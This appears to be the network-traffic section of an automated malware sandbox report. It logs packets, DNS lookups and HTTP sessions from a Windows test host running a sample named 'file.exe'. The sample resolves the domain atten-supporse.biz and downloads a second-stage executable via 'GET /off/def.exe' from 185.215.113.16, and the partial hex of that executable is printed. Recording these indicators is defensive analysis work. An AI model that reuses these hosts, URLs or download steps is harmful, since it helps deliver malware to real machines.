Dec 3, 2024 17:43:00.817300081 CET	443	50038	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:01.136609077 CET	443	50017	142.250.181.100	192.168.2.7
Dec 3, 2024 17:43:01.136683941 CET	443	50017	142.250.181.100	192.168.2.7
Dec 3, 2024 17:43:01.136853933 CET	50017	443	192.168.2.7	142.250.181.100
Dec 3, 2024 17:43:01.277714968 CET	443	50038	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:01.280759096 CET	443	50038	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:01.283080101 CET	50038	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:01.283123016 CET	50038	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:01.283143997 CET	443	50038	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:01.283158064 CET	50038	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:01.283164978 CET	443	50038	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:01.286061049 CET	50043	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:01.286099911 CET	443	50043	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:01.287064075 CET	50043	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:01.287201881 CET	50043	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:01.287210941 CET	443	50043	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:01.923182011 CET	443	50040	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:01.923662901 CET	50040	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:01.923674107 CET	443	50040	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:01.924298048 CET	50040	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:01.924302101 CET	443	50040	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.016648054 CET	443	50039	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.017250061 CET	50039	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.017263889 CET	443	50039	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.017947912 CET	50039	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.017952919 CET	443	50039	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.076968908 CET	443	50041	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.077395916 CET	50041	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.077420950 CET	443	50041	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.077796936 CET	50041	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.077802896 CET	443	50041	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.120047092 CET	443	50042	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.120563984 CET	50042	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.120579004 CET	443	50042	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.121162891 CET	50042	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.121170044 CET	443	50042	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.191307068 CET	50017	443	192.168.2.7	142.250.181.100
Dec 3, 2024 17:43:02.191342115 CET	443	50017	142.250.181.100	192.168.2.7
Dec 3, 2024 17:43:02.373946905 CET	443	50040	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.376816034 CET	443	50040	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.376872063 CET	50040	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.376918077 CET	50040	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.376934052 CET	443	50040	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.376944065 CET	50040	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.376949072 CET	443	50040	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.379828930 CET	50044	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.379877090 CET	443	50044	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.379946947 CET	50044	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.380136967 CET	50044	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.380155087 CET	443	50044	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.557821989 CET	443	50039	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.561206102 CET	443	50039	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.561263084 CET	50039	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.561346054 CET	50039	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.561346054 CET	50039	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.561362028 CET	443	50039	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.561373949 CET	443	50039	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.565778971 CET	50045	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.565813065 CET	443	50045	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.565871954 CET	50045	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.566232920 CET	50045	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.566242933 CET	443	50045	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.669430971 CET	443	50042	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.672697067 CET	443	50041	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.673386097 CET	443	50042	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.673444033 CET	50042	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.673469067 CET	50042	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.673480988 CET	443	50042	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.673491955 CET	50042	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.673496962 CET	443	50042	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.675659895 CET	443	50041	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.675714016 CET	443	50041	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.675714016 CET	50041	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.675757885 CET	50041	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.675787926 CET	50041	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.675801039 CET	443	50041	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.675811052 CET	50041	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.675816059 CET	443	50041	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.677136898 CET	50046	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.677174091 CET	443	50046	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.677257061 CET	50046	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.677362919 CET	50046	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.677377939 CET	443	50046	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.678081036 CET	50047	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.678106070 CET	443	50047	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:02.678154945 CET	50047	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.678431988 CET	50047	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:02.678443909 CET	443	50047	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:03.067471981 CET	443	50043	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:03.068429947 CET	50043	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:03.068429947 CET	50043	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:03.068459034 CET	443	50043	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:03.068473101 CET	443	50043	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:03.523179054 CET	443	50043	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:03.523253918 CET	443	50043	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:03.525441885 CET	50043	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:03.525441885 CET	50043	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:03.526408911 CET	50043	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:03.526427031 CET	443	50043	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:03.527995110 CET	50048	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:03.528044939 CET	443	50048	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:03.528178930 CET	50048	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:03.528393984 CET	50048	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:03.528407097 CET	443	50048	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.119556904 CET	443	50044	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.120099068 CET	50044	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.120127916 CET	443	50044	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.120584965 CET	50044	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.120594025 CET	443	50044	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.311347961 CET	443	50045	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.311758041 CET	50045	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.311784983 CET	443	50045	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.312217951 CET	50045	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.312222958 CET	443	50045	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.528069019 CET	443	50047	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.529145002 CET	50047	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.529161930 CET	443	50047	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.530006886 CET	50047	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.530014038 CET	443	50047	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.566850901 CET	443	50046	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.567485094 CET	50046	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.567503929 CET	443	50046	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.568109035 CET	50046	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.568115950 CET	443	50046	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.568563938 CET	443	50044	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.568588972 CET	443	50044	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.568641901 CET	443	50044	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.568661928 CET	50044	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.568696976 CET	50044	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.568905115 CET	50044	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.568919897 CET	443	50044	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.568933964 CET	50044	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.568939924 CET	443	50044	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.572285891 CET	50049	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.572329044 CET	443	50049	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.572415113 CET	50049	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.572575092 CET	50049	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.572587967 CET	443	50049	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.878889084 CET	443	50045	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.879098892 CET	443	50045	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.879167080 CET	50045	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.879478931 CET	50045	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.879492998 CET	443	50045	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.879503965 CET	50045	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.879508972 CET	443	50045	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.883603096 CET	50050	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.883641958 CET	443	50050	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:04.883730888 CET	50050	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.884030104 CET	50050	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:04.884042978 CET	443	50050	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.009217024 CET	443	50047	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.009275913 CET	443	50047	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.009325981 CET	50047	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.009350061 CET	443	50047	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.009563923 CET	50047	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.009574890 CET	443	50047	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.009582996 CET	50047	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.009969950 CET	443	50047	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.010055065 CET	443	50047	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.010097027 CET	50047	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.012742996 CET	50051	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.012792110 CET	443	50051	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.012887001 CET	50051	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.013024092 CET	50051	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.013036013 CET	443	50051	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.059619904 CET	443	50046	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.059649944 CET	443	50046	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.059787989 CET	50046	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.059819937 CET	443	50046	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.060050964 CET	50046	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.060050964 CET	50046	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.060070038 CET	443	50046	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.060249090 CET	443	50046	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.060286999 CET	443	50046	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.060455084 CET	50046	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.062942028 CET	50052	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.062980890 CET	443	50052	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.063091040 CET	50052	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.065382004 CET	50052	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.065397024 CET	443	50052	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.317567110 CET	443	50048	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.318562984 CET	50048	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.318583012 CET	443	50048	13.107.246.63	192.168.2.7
Dec 3, 2024 17:43:05.319120884 CET	50048	443	192.168.2.7	13.107.246.63
Dec 3, 2024 17:43:05.319127083 CET	443	50048	13.107.246.63	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 3, 2024 17:40:59.480360985 CET	54230	53	192.168.2.7	1.1.1.1
Dec 3, 2024 17:40:59.788578987 CET	53	54230	1.1.1.1	192.168.2.7
Dec 3, 2024 17:41:06.690898895 CET	123	123	192.168.2.7	40.81.94.65
Dec 3, 2024 17:41:07.247025967 CET	123	123	40.81.94.65	192.168.2.7
Dec 3, 2024 17:41:45.505897045 CET	53	63833	1.1.1.1	192.168.2.7
Dec 3, 2024 17:41:45.507742882 CET	53	50147	1.1.1.1	192.168.2.7
Dec 3, 2024 17:41:48.280960083 CET	53	63002	1.1.1.1	192.168.2.7
Dec 3, 2024 17:41:49.643536091 CET	59046	53	192.168.2.7	1.1.1.1
Dec 3, 2024 17:41:49.643681049 CET	49622	53	192.168.2.7	1.1.1.1
Dec 3, 2024 17:41:49.781864882 CET	53	49622	1.1.1.1	192.168.2.7
Dec 3, 2024 17:41:49.781965017 CET	53	59046	1.1.1.1	192.168.2.7
Dec 3, 2024 17:41:52.208400965 CET	64672	53	192.168.2.7	1.1.1.1
Dec 3, 2024 17:41:52.208564997 CET	52234	53	192.168.2.7	1.1.1.1
Dec 3, 2024 17:42:00.746100903 CET	138	138	192.168.2.7	192.168.2.255
Dec 3, 2024 17:42:03.269843102 CET	53	61150	1.1.1.1	192.168.2.7
Dec 3, 2024 17:42:05.023405075 CET	53031	53	192.168.2.7	1.1.1.1
Dec 3, 2024 17:42:05.023529053 CET	49885	53	192.168.2.7	1.1.1.1
Dec 3, 2024 17:42:05.224997044 CET	53	54891	1.1.1.1	192.168.2.7
Dec 3, 2024 17:42:24.305459976 CET	53	54654	1.1.1.1	192.168.2.7
Dec 3, 2024 17:42:45.066066027 CET	53	54976	1.1.1.1	192.168.2.7
Dec 3, 2024 17:42:46.584213972 CET	53	56985	1.1.1.1	192.168.2.7

ICMP Packets

Timestamp	Source IP	Dest IP	Checksum	Code	Type
Dec 3, 2024 17:41:52.764830112 CET	192.168.2.7	1.1.1.1	c2c4	(Port unreachable)	Destination Unreachable
Dec 3, 2024 17:42:03.269998074 CET	192.168.2.7	1.1.1.1	c231	(Port unreachable)	Destination Unreachable

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 3, 2024 17:40:59.480360985 CET	192.168.2.7	1.1.1.1	0xb793	Standard query (0)	atten-supporse.biz	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:41:49.643536091 CET	192.168.2.7	1.1.1.1	0x2ce6	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:41:49.643681049 CET	192.168.2.7	1.1.1.1	0x2e21	Standard query (0)	www.google.com	65	IN (0x0001)	false
Dec 3, 2024 17:41:52.208400965 CET	192.168.2.7	1.1.1.1	0x7ba6	Standard query (0)	js.monitor.azure.com	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:41:52.208564997 CET	192.168.2.7	1.1.1.1	0x95c3	Standard query (0)	js.monitor.azure.com	65	IN (0x0001)	false
Dec 3, 2024 17:42:05.023405075 CET	192.168.2.7	1.1.1.1	0x1d1f	Standard query (0)	mdec.nelreports.net	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:42:05.023529053 CET	192.168.2.7	1.1.1.1	0xe583	Standard query (0)	mdec.nelreports.net	65	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 3, 2024 17:40:59.788578987 CET	1.1.1.1	192.168.2.7	0xb793	No error (0)	atten-supporse.biz		104.21.16.9	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:40:59.788578987 CET	1.1.1.1	192.168.2.7	0xb793	No error (0)	atten-supporse.biz		172.67.165.166	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:41:49.781864882 CET	1.1.1.1	192.168.2.7	0x2e21	No error (0)	www.google.com			65	IN (0x0001)	false
Dec 3, 2024 17:41:49.781965017 CET	1.1.1.1	192.168.2.7	0x2ce6	No error (0)	www.google.com		142.250.181.100	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:41:52.444977045 CET	1.1.1.1	192.168.2.7	0x7ba6	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:41:52.444977045 CET	1.1.1.1	192.168.2.7	0x7ba6	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:41:52.444977045 CET	1.1.1.1	192.168.2.7	0x7ba6	No error (0)	shed.dual-low.s-part-0015.t-0009.t-msedge.net	s-part-0015.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:41:52.444977045 CET	1.1.1.1	192.168.2.7	0x7ba6	No error (0)	s-part-0015.t-0009.t-msedge.net		13.107.246.43	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:41:52.684092999 CET	1.1.1.1	192.168.2.7	0x784d	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:41:52.684092999 CET	1.1.1.1	192.168.2.7	0x784d	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:41:52.684092999 CET	1.1.1.1	192.168.2.7	0x784d	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:41:52.696743965 CET	1.1.1.1	192.168.2.7	0xe264	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:41:52.764764071 CET	1.1.1.1	192.168.2.7	0x95c3	No error (0)	js.monitor.azure.com	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:41:52.764764071 CET	1.1.1.1	192.168.2.7	0x95c3	No error (0)	aijscdn2-bwfdfxezdubebtb0.z01.azurefd.net	star-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:41:55.367804050 CET	1.1.1.1	192.168.2.7	0xd691	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:41:55.367804050 CET	1.1.1.1	192.168.2.7	0xd691	No error (0)	shed.dual-low.s-part-0035.t-0009.t-msedge.net	s-part-0035.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:41:55.367804050 CET	1.1.1.1	192.168.2.7	0xd691	No error (0)	s-part-0035.t-0009.t-msedge.net		13.107.246.63	A (IP address)	IN (0x0001)	false
Dec 3, 2024 17:41:55.368551970 CET	1.1.1.1	192.168.2.7	0x8f14	No error (0)	consentdeliveryfd.azurefd.net	firstparty-azurefd-prod.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:42:05.420506954 CET	1.1.1.1	192.168.2.7	0x1d1f	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 3, 2024 17:42:05.432024956 CET	1.1.1.1	192.168.2.7	0xe583	No error (0)	mdec.nelreports.net	mdec.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

atten-supporse.biz

otelrules.azureedge.net

slscr.update.microsoft.com

fs.microsoft.com

https:

js.monitor.azure.com

wcpstatic.microsoft.com

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.7	49764	185.215.113.16	80	7292	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Dec 3, 2024 17:41:34.229996920 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Dec 3, 2024 17:41:35.625145912 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 03 Dec 2024 16:41:35 GMT Content-Type: application/octet-stream Content-Length: 2819584 Last-Modified: Tue, 03 Dec 2024 15:39:26 GMT Connection: keep-alive ETag: "674f262e-2b0600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 80 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 c0 2b 00 00 04 00 00 cf 08 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$+ `@ ++`Ui` @ @.rsrc`2@.idata 8@ihomclfw*:@diogmxuh `+@.taggant@+"*@
Dec 3, 2024 17:41:35.625380993 CET	124	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 3, 2024 17:41:35.625972986 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 3, 2024 17:41:35.626420021 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 3, 2024 17:41:35.626430035 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 3, 2024 17:41:35.627382994 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 3, 2024 17:41:35.627995968 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 3, 2024 17:41:35.628006935 CET	248	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
